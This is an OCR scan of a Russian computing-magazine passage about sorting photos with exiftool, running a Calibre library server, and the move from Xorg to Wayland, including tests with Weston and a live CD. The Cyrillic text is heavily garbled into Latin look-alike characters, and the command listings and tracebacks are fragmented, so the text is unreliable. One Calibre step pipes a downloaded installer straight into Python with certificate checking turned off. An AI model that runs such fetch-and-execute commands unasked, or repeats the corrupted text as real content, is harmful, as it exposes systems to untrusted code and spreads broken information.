• %%f — MexoAHoe MMfl qbaM/ia (6e3 pacLUMpeHM$q); 

• %%e — paciiiMpeHMe (6e3 tohkm); 

• %%c — HOMep KonMM, aKTya^bHO TO/ibKO BbixoAHbix cf>aM.noB. 

KaK m npeAbiAymne ABe ytm/imtn, exiftool moxho nponMcaTb Ha NAS b cron. 



-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 
-rwxrwxrwx 1 root 



root 5930364 Map 16 
root 6505947 Map 16 
root 6616723 Map 16 
root 6353990 Map 16 
root 7023809 Map 16 
root 6858445 Map 16 
root 7663858 Map 16 
root 6699271 Map 16 
root 6496462 Map 16 



06:24 DSC_2629.JPG 
06:25 DSC_2633.JPG 
06:25 DSC_2634.JPG 
06:25 DSC_2636.JPG 
06:25 DSC_2637.JPG 
06:25 DSC_2638.JPG 
09:02 DSC_2640.JPG 
09:03 DSC_2645.JPG 
09:03 DSC_2647.JPG 



-rwxrwxrwx 1 root root 6413942 Map 16 09:09 DSC_2655.JPG 
-rwxrwxrwx 1 root root 6745226 Map 16 09:11 DSC_2656.JPG 
-rwxrwxrwx 1 root root 6682887 Mioh 16 2013 DSCF7328.JPG 
-rwxrwxrwx 1 root root 4829815 Mioh 16 2013 DSCF7329.JPG 

samba@debian :/media/vbox/nas/fotol2$ exiftool -r '-Directory <DateTime0riginal ' - 
d %Y/%m/%d ./ 

Warning: Missing stream for FPXR object 2 - . /DSCF7328 . JPG 
Warning: Missing stream for FPXR object 2 - . /DSCF7329 . JPG 

1 directories scanned 

3 directories created 
20 image files updated 
samba@debian :/media/vbox/nas/f otol2$ Is -1 
MToro 0 

drwxrwxrwx 1 root root 0 Mafi 5 07:32 I 
drwxrwxrwx 1 root root 0 Man 5 07:32 
drwxrwxrwx 1 root root 0 Man 5 07:32 | 
sambaidebian :/media/vbox/nas/f oto!2$ , 



Pe3y/ibTaT pa6oTbi exiftool 
CALIBRE 

KoHeMHO, ceMnac khmtm CTa/M HMTaTb MeHbiue — noflBunwcb HOBbie (6onee AOCTyrmbie 
A/ifl BOcnpnfiTi/1^) c|)opMaTbi npeAOCTaB^eHMa nH(t>opMau,i/in. OAHaKO fl/ia iex n\op,e\/\, ko- 
Topbie nx Bee xe Hi/uaiOT, copTupoBKa 3/ieKTpoHHbix khmt i/i ynpaB/ieHne mmm He MeHee 
BaxHa, hgm copTupoBKa My3biKM m BUfleo. JXnn 3tom u,e^n m npeAHa3HaneH Calibre. 
ripoeKT 3T0T noAAepxMBaeT cneAyiOLUMe bo3moxhoctm: 

• co6cTBeHHO ynpaB/ieHne KHMraMM h hx coptmpobkom — b tom Hwcne ecTb bo3mox- 
HOCTb Ao6aBnaTb Tern i/i KOMMeHTapnn; 

• KOHBepTau.ua (J)opMaTOB; noAAepxMBafOTca ecrin He Bee, to 6onbwnHCTBO ocHOBHbix 

Cf)OpMaTOB 3/ieKTpOHHblX khi/it; 

• CMHXpOHM3aU,Mf1 C HMTa/1 K3MM; 

• BCTpoeHHbiM Be6-cepBep a/ia AOCTyna k KHi/iraM KaK b npeAe/iax noKa/ibHotf ceTM, TaK 
M M3 MHTepHeTa. 

Ana ycTaHOBKM Calibre HyxHO Ha6paTb cneAyiOLAyio KOMaHAy (npeAnonaraeTca, hto y Te6a 
ctoht KaK ImageMagick m xdg-utils, TaK i/i ocTanbHbie 3aBncniviocTM): 

• wget --no-check-certificate -nv -0- https://raw.githubusercontent.com/*-' 
kovidgoyal/calibre/master/setup/linux-installer . py | python -c "import ^ 
sys; main=lambda : sys . stderr .write( ' Download failed\n'); 

exec ( sys . stdin . read ( ) ) ; main ( )" 

3aTeM HyxHO CKOHcbi/irypwpOBaTb ero. no yMOJinaHi/iK) oh HacTpawBaeTca H3 GUI, ho, 
nocKonbKy Mbi wcnojib3yeM KOMaHAHyK) CTpoKy (n rpacbwKa Ha NAS KaK TaKOBaa OTcyT- 
CTByeT), HyxHO sto Ae/iaTb BpyHHyio. fl/m 3Toro b AOManiHeM KaTanore Toro no/ib30Ba- 
Term, M3-noA KOToporo 6yAeT 3anycKaTbca Calibre, C03Aafi <$>aPi.n .config/calibre/global. 
py n nponnujH b HeM CTpoHKy library_path c yKa3aHneM nyTM k 6n6nnoTeKe, KyAa 6yAeT 
nponcxoAHTb MMnopT KHMT. 

B MoeM cnynae 3Ta CTpoKa BbirymAena TaK: 

library_path = '/home/samba/library' 



J1m6o xe moxho ncno/ib30BaTb onu,i/iio --with -library, nocKonbKy yKa3aHHbiM naparvieTp 



KOHcpnra AOCTyneH He bo Bcex Bepci/mx. jj,nn HMnopTa khht, cooTBeicTBeHHO, oyAeT cne- 
AyK)Lu,afl KOMaHAa: 

$ calibredb import -r /home/samba/downloads --with-library /home/samba/library 

C KOMaHAOM 3tom, b npi/iHui/ine, moxho CAe/iaTb to xe caivioe AePicTBue, KaK m co Bceivin 
npOHi/iMM, onucaHHbiMH b CTaTbe, a MMeHHO nponncaTb b cron. Ho noMMMO otom cJ)yHKu,n- 
OHa/ibHOCTM, y Calibre ecTb eLAe m cJ)yHKu,MOHanbHOCTb Be6-cepBepa, KOTopbifi Mbi cewnac 
i/i 3anycTMM: 



$ calibre-server --daemonize --with-library /home/samba/library 



B MTore Ha nopTy 8080 (moxho M3ivieHMTb onunePi -p) 3anyc~rnTCfl cwvinaTi/iHHbM Be6-i/m- 
TepcjDeMC. 

fl/ia 3anycKa npn CTapTe CMCTeMbi npnAGTca nucaTb init-CKpnnT. KaK sto Ae/iaTb, 
a 3Aecb onncbiBaTb He 6yAy — OTMeny jiMiiib, hto cepBep xe/iaTenbHO 3anycKa~rb He ot pyTa. 
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'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
>r : Bad bir 
;k (most rf 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
>r : Bad bir 
;k (most r< 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
'site-pack; 
>r : Bad bir 
up metada - 

Ibl klflPHTMtJn 
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che.py", li 
ite.py", li 
ite.py", li 
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che . py " , li 
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ne 963, in set_field 

ne 513, in set_books 

ne 178, in one_one_in_books 

line 804, in executemany 

- argument #1: type datetime .date 

ne 1165, in protected_set_f ield 

ne 1145, in set_field 

ne 963, in set_f'ield 

ne 513, in set_books 

ne 178, in one_one_in_books 

line 804, in executemany 

- argument ttl: type datetime .date 

ne 1165, in protected_set_f ield 

ne 1145, in set_field 

ne 963, in set_field 

ne 513, in set_books 

ne 178, in one_one_in_books 

line 804, in executemany 

- argument ttl : type datetime . date 



:aTopbi KHur: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 
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3AKJHOHEHME 

MHorwe no.nb30BaTe.nM jieHHTCfl cop~mpoBaTb c^aPinbi, n Ha HaKonwTe/ie (6yAb to xecT- 
kmm auck M/in ceTeBoe xpaHMJiMine) HepeAKO o6pa3yeTca CBa/iKa, pa3rpe6aTb kotopyk) 
BpyHHyio — 3aHflTwe coBepiueHHO 6eccMbicneHHoe h 6ecnoiu,aAHoe. l/1cno/ib3yfl xe npo- 
rpaMMbi, onucaHHbie b CTaTbe, moxho nacTUHHO aBTOMaTH3npoBaTb stot npouecc (jimub 
nacTUHHO, yBbi, — He bo Bcex ct>aM/iax v\ mx mmgh3x ecTb HyxHaa MHct>opMaiJ,i/ifl f\nn 3Toro). 
Bo/ibLuoe 3HaneHMe wvieeT eme h to, hto i~iohti/i hm oah3 M3 nporpaMM, 3Aecb oni/icaHHbix, 
HeTpe6yeTGUI, yTM/iMT, KOTopbiM oh HyxeH, ecTbeme m pexnivi KOMaHAHOM ctpokh. 

Hy m KOHenHO — nporpaMMbi nporpaMMaMM, a cboh ro/iOBa npn coxpaHeHMM Tex hjii/i 
MHbix MaTepna/iOB Toxe AO/ixHa AyMaTb. JC 



JlhoSaa coBpGMGHHa?! UNIX-cucTGMa ncno/ib3yeT cepBep X 
Window fl/iq OToSpaxGHM^ rpacfu/iHGCKoro MHTepcJ)eMca i/i 06- 
paSoTKM nonb30BaTe-nbCKoro BBOfla. B stom rofly i/iKcaM i/ic- 
nojiH^eTC^i 30 jigt, 3a Korapbie ohm ycno/in o6pac~ri/i orpoM- 

HblM KOJll/HGCTBOM paCLUI/lpGHl/ll/l M npeBpaTMTbC^ B C/lOXHbIM 

Arm noHi/iMaHi/m n flopaSoTKM npoeKT c Mi/mni/iOHaMi/i ctpok 

KOfla. 3T0 nOMCTl/lHG apxaMHHa^ CI/ICTGMa, SOJlbLUGl/l HaCTbfO 
COCTOflLUafl M3 AaBHO OTXI/1BLUHX CBOG KOMIIOHGHTOB, KOCTbl- 

nei/\ 1/1 xaKOB. Eg AaBHO nopa 3aMGHi/iTb, m Wayland — otjimh- 

HbllTl KaHflMflaT Ha 3Ty ponb. 



IIPOBJIEMHblE MKCbl 

XWindow nosiBM/iacb Ha CBeT bo BpGMGHa mgmhc^pgmmob h tgpmi/i- 
Ha^bHbix k/imghtob. CyTb i/iagh, KOTopaa nerjia b ochoby stow cm- 
CTeMbi, 6bma c/ieAyKDLu.eM: Haflo co3Aa~rb rpactwHGCKyio cucTGMy, 
KOTopa^ 6bi pa6oTa/ia no npnHu,nny CTaporo flo6poro TeKCTOBoro 
TepMMHa/ia. flpmioxGHMH AO/i>KHbi 6bi/in Bbinoni-im~bCfl Ha mgmh- 
(JdPGmmg, o6^aflaiOLLj,eM 6onbLLioM BbiHMC/iHTenbHOM MOLUHOCTbio. 
A rpacf)MKa OTo6paxaTbca Ha AGCflTKax noAKJiiOHGHHbix c noivio- 
LAbK) ceieBoro Ka6e/ia tohkmx kjwghtob. 

HTo6bi pa6oTaTb b TaKOM KOHc^nrypaunn, rpac|)MH6CKafl cmctg- 
Ma AO/ixHa o6/iaAaTb onpGAGJiGHHbiMn xapaKTepucTMKaMn, bkjikd- 
Haa ceieByK) np03paMHOCTb, OKOHOMMHHOCTb npOTOKona ncpGAanH 
AaHHbix (Ha 10-KM^o6nTHbix KaHanax oco6o rpact>i/iKy He noroHfl- 
enib) i/i noAAepxMBaTb caMbie npocTbie MOHOxpoMHbie Ancn/ien. 
Pea^M3ya Bee stm xapaKTepMCTHKM, pa3pa6oTHHKi/i XWindow co- 
3Aa/in cgtgbom npoTOKon, 6a3npyK)Lu 1 MPicfi Ha npodbix KOMaHAax 

OTpMCOBKM, T3KMX K3K «J1HHM«», «KBaApaT», «TeKCT», KOTOpbie MOryT 
MCn0^b30BaTb K/IMGHTbl (npMJlOXGHMfl). flpHJlOXGHMfl BbinO/lH^KDT- 
Cfl Ha MGMHCjDpGMMG M C03AaK)T KapTI/lHKy Ha CGpBGpG, KOTOpbM pa- 
60T3GT Ha TOHKOM KJ1H6HT6 (KaK 6bl CTpaHHO 3T0 Hl/I 3ByHa/10). 

B nopBbiG roAbi cymGCTBOBaHMH hkcob bcg 3to npGKpacHO pa- 

60Ta/10 M HG Bbl3blBaJ10 HHIOKHX BOnpOCOB. HO nO MGPG nOHBJlGHHfl 
BCG 6OJI66 pa3BMTblX AUCn/lGGB, yBGJWHGHUfl np0H3B0AHT6JlbH0- 
CTH M yXOAa OT 1/1 AG M «MGMH(J)pGMM — TGpMMHa/l» K CTaU,MOHapHblM 

nKyu4Gp6HOCTb XWindow CTaHOBM/iacb bcg 6ojig6 ohgbmahom. CHa- 
na/ia pa3pa6oTHMKaM npi/nujiocb Ao6aBMTb b npoTOKO/i hagkd ubgtob, 
n3-3a hgto npoTOKO/i pa3pocca 1/1 b hgm no^BM/iMCb (J)yHKu,Mi/i onpo- 

Ca TGpMMHa/ia 0 GrO B03MOXHOCTHX (MOHOXpOMHbM, 1 6 U.BGTOB, 256 
U.BGTOB), AOnOJIHMTG/lbHblG rpa(J)MHGCKMG (J)yHKLU/|l/l (BCG 3T0 GCTb 
B npOTOKOJIG AO CMX nop). 3aTGM npMLU^OCb pGLUMTb npo6^GMy OTO- 
6pa>KGHMfl C/10>KHOM rpa(J)HKn, B pG3y/lbTaTG HGfO nOSBM/lCfl npoTO- 
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koji XRender, 6a3npyiOLAMMCfl Ha wnenx rpacbunecKOM noACucTeMbi uipaHnua 

n „ „ Wiki Arch Linux . 

Plan 9. Aa/iee B03HMK/ia npoo/ieMa paooTbi c mhoxcctbom wpi/icl)TOB, nocBflmeHHaa Wayland 

f\n9\ peLueHna kotopom co3Aa/in eme m cneu,na/ibHbM font-cepBep. 

3aTeM npnLue/i nepeA pacTpOBOM rpacJwKH, bmago, Teneti, np03pan- 

hoctm, OpenGL, hm3kom npon3BOAHTejibHOc™ Ha/iOKa/ibHoPi Manin- 

He (Ana peujeHMfl kotopom npnAyMa^n cnoco6 pa6oTbi c K/ineHTaMn 

nepe3 pa3Ae/iaeMyKD naMflTb) m MHoroe-MHoroe APyroe. 

Bee 3th n3MeHeHM$q Mor/in 6bi CTaTb o6bHHbiM 3BonKDu,MOHHbiM npoueccoM, CBOM- 
CTBeHHbiM ntoSoMy AO/iro xnBymeMy 110, ecnn 6bi b 1979 roAy pa3pa6oTHMKn He npwHfl- 
jii/i pemeHne 3aKpennTb 1 1 -\o Bepcwo npOTOKona m 6o/ibLue He BHOCHTb b Hee w3MeHeHi/m 
(sto n ecTb X1 1 ). B yc/iOBMflx rocnoACTBa 3aKpbuoro cocfua b 1980-e o6paTHafl coBMe- 
CTMMOCTb Bcex nooneAyioi-m/ix BepcMM X Window c paHee HanncaHHbiM no no3BO.ni/i.na 
MKcaM 3aH^Tb /iMAnpyKDinne no3MUMM KaK CTaHAapTHOM CMCTeMbi b MMpe UNIX. Ho b pe- 
3ynbTaTe npnBe/ia k ee Hpe3BbiMaMHOMy yonoxHeHMK). 

OaKTunecKM coBpeMeHHbiM Xorg — sto He hto MHoe, KaK hkch o6pa3ua 1979 roAa 
c orpoMHbiM KO/innecTBOM o6BecoK n pacLUMpeHUM, npunenneHHbix k Herviy c pa3Hbix cto- 
poH. fla, c ero noMOLAbio AewcTBHTe/ibHO moxho 3anycTMTb cocjrr 20-JieTHePi AaBHOCTM, 
ncnonb3yfi ApeBHioio BMAeoKapTy c 256 K6 naMfmvi, ho n/iaTi/iTb 3a sto npi/ixoAHTca Heo- 
6ocHOBaHHOM cjioxHOCTbio CMCTeMbi, ee T^xecTbK), xaAHOCTbio k pecypcaM M, hto He Me- 
Hee BaxHO, apxai/iHHbiM MHTepqbeMCOM nporpaMMwpoBaHi/m (n i/iMeio b BMAy HMCTbiM Xlib, 
a He GTK v\nv\ Qt). 

95% c|)yHKmi/iOHa/ibHOCTM Xorg b coBpeivieHHbix npmioxeHnax hi/ik3k He i/icnonb3yeTCH. 
3to MepTBbiM koa, HyxHbM AJia coBMecTMMOCTM co CTapbiM cocJdtom i/i xe/ie30M. CeroAHfl 
npn/ioxeHna cfjopMnpyiOT KapTi/iHKy no/iHOCTbio caMOCTOHTe/ibHO m nepeAaiOT ee X-cepBe- 
pyyxe b totobom bmac, a noc/ieAHMM OTBenaeTTonbKO 3a to, HTo6bi CKOMnoHOBaTb H3 ot- 
Ae/ibHbix okoh OKOHnaTe/ibHoe M3o6paxeHne (i/icnojib3yfl ApaMBep BMAeoKapTbi) m BepHyTb 
Ha3aA co6biTi/iH c K/iaBi/iaTypbi i/i MbiLun. 3to AeMCTBMTe/ibHO npocTbie onepaunn, a^h Bbi- 
no/iHeHi/m kotophx CTapbiM Xorg c ero ceTeBofi npo3paHHOCTbKD, mhoxcctbom pacwMpe- 
hmm, noAAepxKOM ApeBHero >Ke/ie3a, HaACTpoeK m KOCTbrnew He HyxeH. 

Mbl CBOM XORG flOCTPOMM 

EAUHCTBeHHbiki cnoco6 peuiHTb MHoroHi/ioneHHbie npo6/ieMbi Xorg — sto n36aBHTbca 
ot Hero no/iHOCTbio i/i C03AaTb HOBbiM rpacf)MHecKMPi cepBep. llonbiTKM CAe/iaTb sto b pa3- 
Hbie BpeMeHa npeAnpi/iHHMajiw MHori/ie KOMaHAbi pa3pa6oTHMKOB, BK/iiOHafl nporpaMMt/i- 
ctob 1/13 npoexroB n GGI . OAHaKO Aa/ibnie eAUHi/iHHbix c/iynaeB nprnvieHeHHfl bo BCTpan- 
BaeMOM o6opyAOBaHnn f\eno He aoxoahtio, m 6o/ibiunHCTBO 113 stmx npoeKTOB yiviep/in 

B 3a6BeHMH. 

ripoeKT Wayland npoABi/iHy/ica HaMHoro Aa/ibine cboux KOHKypem~OB. Oh He TO^bKO 
no/iynn^ noAAepxKy KpynHbix npoeKTOB, ho m CTa/i rnaBHbiM KaHAHA^TOM Ha po^b 3aivie- 
Hbi mkcob. ripoeKT 6bin HanaT KpncTnaHOM Xerc6eproM (Kristian Hogsberg) BCKope no- 
c/ie OKOHHaHMa pa6oT HaA AIGLX, onepeAHbiM pacLunpeHneivi Xorg, KOTopoe no3BO/in/io 
X-cepBepy ncnonb30BaTb npenMymecTBa coBpeivieHHbix 3D-ycKopnTe^eM npn BbiBOAe 
M3o6paxeHnq Ha 3KpaH (HacTO^LAaa npo3panHOCTb, TpaHccJ)opMaiJ,MM okoh, BM3yajibHbie 
sctxjDeKTbi m nponee). 

riocBoeM cyTM Wayland npeACTaB/iqeTCo6oM «HOBbiMXorg», to ecTbCMCTeiviy, MAeo/io- 
ruHecKM 6/iM3KyK) kX Window, ho co3AaHHyio c yneTOivi npeAbiAymux olum6ok m 6e3 Bcero 

HflmnnPHHnrn fSannanTa K"ai^ i/i \ayccv-a Wax/land — am nnmni^nn R^aMMnnpwnTRwci r wn- 



topom b KanecTBe cepBepa BbiciynaeT KOMno3MTHbiM MeHeAxep. Ero (t>yHKu,i/m — o6te- 
AUHMTb rpa<f)MHecKne 6ycJ)epbi npi/moxeHMM (npome roBopa, OKHa) Ha 3KpaHe i/i nepeAaTb 
co6biTna BBOfla HyxHOMy OKHy. 

Bckd pa6oTy no OTpucoBKe MHTepc^eMca Bbino/iHHiOT caMM npunoxeHMH (c noMOiu,bK) 
rpacJjMHecKi/ix Ty/iKMTOB GTK+, Qt i/mi/i rpacfjunecKnx 6n6.ni/iOTeK Clutter win SDL) 1/1, KorAa 
3to HyxHO, OTAaiOT pe3y/ibTaT KOMno3MTHOMy MeHeA>Kepy nepe3 UNIX-coKeT. noaneA- 
hmm, b cbok) OHepeAb, ncnonb3yeT DRM (Direct Rendering Manager), HTo6bi BbiBecTM Kap- 
TMHKy Ha 3KpaH m nonyHWTb co6brn/m BBOAa c noMOLAbK) Linux-ApaMBepa evdev. Wayland 
He peajiM3yeT cJ)yHKu,nM otphcobkh, He Tpe6yeT co3AaHna cneuna/ibHbix Apa^BepOB (3a- 
AeMCTByioTca DRI-coBMecTMMbie ApatiBepbi, Tao<e noAAepxMBaeivibie X.org) m b ue/iOM 
oneHb npocT b peajw3au,i/ii/i. 

npo6neMa coBMecTHMOc™ c paHee HanncaHHbiM cocJrroM 
3AecbTaKxe pemeHa KyAa 6onee h3hljjiho. ripc-TOKO/i Wayland 
CTporo BepcuoHi/ipoBaH, to ecTb MoxeT 6e36o^e3HeHHO Me- 
H^Tbca Ha npOTflxeHMM CBoew XM3HM. A paHee HanncaHHbiM 
cocjrr npocTO 6yAeT ncnonb30BaTb OAHy H3 npeAbiAymnx 
BepcMM npoTOKona, rnaBHoe, HTo6bi OHa 6bina pea/iM30BaHa 
b KOMno3MTHOM MeHeAxepe. Bo/iee Toro, Wayland no3BO- 
rmeT 6ecujOBHO 3anycKaTb BHyTpn ce6n cocjrr, HanncaHHbiM 
A/ifl mkcob, Ann Hero wcnonb3yeTCfl cneui/ia/ibHafl pea^M3a- 
u,\A9\ X-cepBepa (XWayland), KOTopaa 3anycKaeTca KaK K/ineHT 
Wayland A-na OTAe/ibHO B3«Toro npwioxeHMfl. 

CTATYC nOAAEPMKH 

KaK onu,MOHanbHbiM KOMnoHeHT Wayland yxe ecTb b auctpm- 
6yTMBax Fedora n Arch Linux n MOxeT 6biTb ycTaHOB/ieH b BMAe 
Ha6opa naKeTOB b HeKOTopbie Apyrwe AncTpn6yTHBbi. daTyc 
noAAepxKM Wayland b rpacJwHecKwxcpeAaxnoKaorpaHHHeH. 
B 3KcnepnivieHTa/ibH0M pexnivie orpaHHHeHHaa noAAepxKa 
ecTb b GNOME, KDE n Enlightenment, oah3ko ncnonb30BaTb 
mx no^Hou,eHHO He yAacTca, TaK KaK MHon/ie KOMnoHeHTbi 
AO ci/ix nop pa6oTaiOT mribKO noBepx hkcob. 

B KOMn/ieKTe c Wayland mact STanoHHaa pea/iM3au,nq kom- 
no3MTHoro MeHeA>Kepa noA Ha3BaHneM Weston. Oh npeA- 
CTaBJifleT co6om npocTyio rpacfwHecKyK) o6onoHKy, KOTopaa 

no3BO/iaeT 3anycKaTb npwioxeHHH n ynpaB/isTb OKHaMM. Ee moxho ncnonb30BaTb yxe 
ceMnac, ho 60/ibLuoro CMbicna b stom HeT, TaK KaK Weston co3AaH b HarrmAHoPi AeMOH- 
CTpau.nn B03MOXHOCTeM Wayland. 

CoBceM Apyroe Aeno — OKpyxeHi/ie pa6onero CTO/ia Hawaii, co3AaHHoe cneu.ua/ibHO 
A/ifl Wayland n b ue/iOM yxe 6onee-MeHee npwoAHoe f\nn ncnonb30BaHwi. Hawaii bkjind- 
naeT b ce6a KOMno3MTHbiPi MeHeAxep, o6onoHKy pa6onero CTona co ctpokom coctohhmh, 
MeHK) npnnoxeHMM, ann/ieTaMi/i A-nn ynpaB/ieHHfl 3ByK0M m ceTbK). B KOMnneKTe wvieeT- 
C9\ npwioxeHwe A-na HacTpoMKn cucTeivibi, c|)awioBbM MeHeAxep, TepMMHa/i, TeKCTOBbM 
peAaKTOp, PDF-pwj,ep h npocMOTpm.nK n3o6paxeHnw (onu,noHa^bHO AOCTyneH 6pay3ep 
m IRC-K/ineHT). 

lloAAepxKa Wayland yxe Ao6aB/ieHa bo MHori/ie rpac|)MHecKMe 6n6nnoTeKM n Ty/iKu- 



tn, TaKi/ie KaK GTK+, Qt, SDL h Clutter, nosTOMy HeKOTopbie ocHOBaHHbie Ha hmx npn.no- 
xeHi/m moxho 3anycTMTb KaK K/ineHT Wayland 6e3 nepeKOMnn/ifiij,nM (6i/i6jinoTeKa caMa 
Bbi6epeT, KaKofi cnoco6 BbiBOAa n3o6paxeHM« ncnonb30BaTb). Bo/ibLui/iHCTBO npunoxe- 
hmm, TeM He MeHee, ao cmx nop ncnojib3yK)T npaivibie Bbi30Bbi k MKcaM, ho b t3kmx cpeAax, 
KaK GNOME m KDE, mx CTaHOBi/rrcfl Bee MeHbiue. 

Hto KacaeTC^ rpactwHecKwx ApafiBepoB, to b u,e/iOM 3Aecb Bee b nopHAKe. KaK a yxe 
roBopmi, Wayland ncnonb3yeT DRM Ana B3anMOAeMCTBHfl c ApaPiBepoM, a ceroAHfl 
3to CTaHAapT, noAAepxKa KOToporo ecTb bo Bcex OTKpbiTbix ApafiBepax, BK/ihOHafl Intel, 
Radeon v\ NVIDIA (Nouveau). C 3aKpbiTbiMn Apa^BepaMw noKa Bee 3HaHmejibHO cjio>k- 
Hee, ho Ha AaHHOM STane HaM xBaim v\ OTKpbiTbix. 




OKHO/iornHa RebeccaBlackOS 
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HeTbipe peflaKTopa M3 pa3Hbix rpa^nnecKnx cpefl b Weston 

TECTHPyEM! 

CaMbiM npocTOM cnoco6 3aTecTMTb Wayland — sto CKanaTb v\ 3anycTMTb LiveCD-AncTpM- 
6vtmb noA Ha3BaHneM RebeccaBlackOS (sto b necTb aMepuKaHCKOM neBMMKM TaKOM). He- 
CMOTpa Ha Ha3BaHne, flncTpn6yTHB AOBonbHO none3HbiM m no3BormeT noTecTMTb MHOxe- 
ctbo caMbix pa3Hbix npM/ioxeHMM M3 KOMn/ieKTa KDE, GNOME m Enlightenment b cpeAe 
Weston mjim Hawaii. TaM xe ecTb XWayland h Kyna MKCOBbix npnjioxeHHM a/ih TecTMHra. 

CKanaTb AncTpn6yTMB moxho Ha sf.net . Bee — 1,1 T6. Oh otjimhho pa6oTaeT Ha tojiom 
xe/ie3e, ho noAAepxMBaeT TaKxe h VirtualBox. flociaTOHHO mnbKO BK/noni/iTb pacujH- 
peHne PAE/NX b HacTpoMKax npoueccopa BMpTya/ibHoro OKpyxeHMH v\ Bbi6paTb BbiBOA 
Mepe3 framebuffer b MeHio 3arpy3HMKa LiveCD. 3D-ycKopeHne b stom onynae pa6oTaTb 
He 6yAeT, ho Tbi 3Toro He 3aMeTMiub (6yAeT 3aAeMCTBOBaHa coctrraepHafl pea/iMsauMH 
OpenGL). Cpa3y noc/ie 3arpy3KM cucTeivia npeA-noxMT Bbi6paTb oahh M3 Tpex BapnaHTOB 
AecKTon-MHTepdpeMca: K/iaccHnecKUM Weston, Hawaii mjim Orbital. riocneAHMM — hchto 
BpoAe oneHb cbiporo KDE, co6paHHoro Ha KoneHKe. 

HeBaxHO, k3kom M3 hmx Tbi Bbi6epeLUb. 1/13 /iK)6oro moxho 3anycTMTb MHOxecTBO npw- 
noxeHMM M3 cocTaBa KDE, GNOME m Enlightenment. EonbLunHCTBO M3 hmx 6yAeT 3anyme- 
ho b KanecTBe Wayland-K/ineHTOB, ho HeKOTopbie pa6oTaK)T noBepx XWayland. Pa3HMu,y 
MexAy hmmm Tbi cpa3y 3aMeTMLUb, TaK KaK Wayland-npmioxeHi/ia 6yAyT MMeTb pa3Hbie Ae- 
KOpauMM okoh, b 3aBncnMOCTM ot npMHaAnexHOCTM k rpacjDMHecKOM cpeAe: CMHfif! paMKa 
A/i?i KDE-npM/ioxeHMM, HepHaa &r\n npmioxeHMM Enlightenment, Ge/iafl a/ih GTK/Gnome 
m Se/iafl c rpaAneHTOM A-na npmioxeHMM XWayland mjim poahnx npM/ioxeHMM Wayland. 

fl/m no.nb30BaTe.rm Linux, 3HafOLLi,ero, hto TaKoe MeHeAxep okoh, TaKOM pa36pOA 
oa^opM/ieHMfl MOxeT noKa3aTbC5i CTpaHHbiM, OAHaKO b Wayland 3to HopMa/ibHaa cirry- 
auna. 3Aecb npn/ioxeHna caMM OTBenarOT 3a OTpucoBKy AeKopau,MM okoh, m, no cvtm, 
OHa MOxeT 6biTb n\o6ov\ (mjim He cymecTBOBaTb BOo6Lu,e). B SyAymeM, kohchho, npMAy- 
MaiOT cnoco6bi yHMcfjMKau.MM oo>opM.neHMfl Arm Bcex npmioxeHi/iii, 3anyLueHHbix b oahom 
cpeAe, ho noKa Bee sto BbinnaAHT AOBO/ibHO CMeiuHO. 

M3 ApyrMx npmioxeHMM b AncTpn6yTMBe moxho h3mtm Be6-6pay3ep Firefox, Top- 
peHT-KJineHT Transmission, pa3/iMHHbie yTMJiMTbi, NetworkManager m Apyroe. Ohm pa- 
6oTaiOT noBepx XWayland. B ue/iOM LiveCD BK/iK)HaeT co/iMAHbiM Ha6op npn/ioxeHMM, 
ho ncno^b30BaTb ero ixnn peujeHMfl noBceAHeBHbix 3aAan, kohchho xe, He no/iyHMTca. 
CucTeivia Macro naAaeT, b Hew MHoro pa3Horo poAa miokob m KOCTbmePi. HeKOTopbie 
M3 hmx — cneACTBMe HeKOMneTeHTHOCTM aBTopa LiveCD, APyrMe Bbi3BaHbi cbipocTbKD 
rpacJ)MHecKMx OKpyxeHMM v\ npM/ioxeHMM. ToTxe Hawaii, HecMOTpa Ha bckd cbokd BHeuj- 



hjok) npHBjieKaTe/ibHOCTb, no/iOH oaroB, KOTopbie npuBOA^T k naAeHnaivi v\ pa3.ni/iH hum 
rpactwnecKUM r/iMTHaM. C APyrofi CTOpOHbi, AncTpn6yTMB otjihmho iioaxoaut Rnn 03Ha- 
KOM/ieHHH c Wayland, m 3Aecb eMy npodo HeT a/ibTepHaTMB. 
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□ Download Firefox — Free Web Browser — Mozilla - Mozilla Firetox 

File Edit View History Bookmarks Tools Help 



ITI Download Fitefox — Fiee We... U || <j. Mozilld Firefox SLatl Page U J Q 

| A Mozilla roundation (UG) https://www mozilla. org/cn US/firefox/ncw/ 



|BJ~ Google 



Firefox 



mozilla" 



Looks like you're using an older version of Firefox. 

Update to stay fast and safe. 

Committed to you, 
your privacy and an open Web 



Firefox noflynpaB/ieHneM Weston 

N E1UE PA3 TECTMPYEM! 

Ei_u,e oahh npocTOM m 6ecKpOBHbiM MeTOA onpo6oBaTb Wayland — sto Arch Linux. B stom 
flMCTpn6yTMBe 6n6^noTeKM GTK+, qt, SDL m Clutter no vMonHaHMio co6paHbi c noAAep*- 
kom Wayland, a caM oh (6w6.ni/ioTeKa c pea/ii/i3au,neM) ycTaHaB/iMBaeTca KaK hx 3aBncn- 
MOCTb. TaKxe b peno3HTOpwn BcerAa AOCTyneH Weston, a ycTaHOBMTb Hawaii mo>kho, 
noAK/iK)HMB o4)nu,na^bHbiM peno3i/iTOpnti npoeKTa (b Apyrwx AHCTpn6yTMBax npMLU^OCb 
6bl C06npaTb M3 mcxoahmkob). 

3anycTMTb Weston v\ Hawaii moxho He TO/ibKO noBepx ro/ioro xe/ie3a (m3 kohcojim, 

npn6HB l/IKCbl), HO M KaK 06blHHblM K/lMeHT MKCOB. Bee, HTO HVXHO CAe/iaTb, — 3T0 npocTO 

3anycTMTb Weston 1/13 SMyrmTopa TepMMHana: 

$ sudo pacman -S weston 
$ weston --fullscreen 

no yMO/inaHMio b naHe/in 3anycKa Weston AOCTyneH TO/ibKO TepMMHan, ho c ero noMombfo 
moxho 3anycTMTb HecKO/ibKO TecTOBbix npmio>KeHMM. Mx MMeHa HannHaiOTca Ha weston-, 
TaK hto HawTM mx 6yAeT npocTO. floGaBHTb npM/ioxeHMa b naHe/ib, a TaKxe aKTMBMpoBaTb 
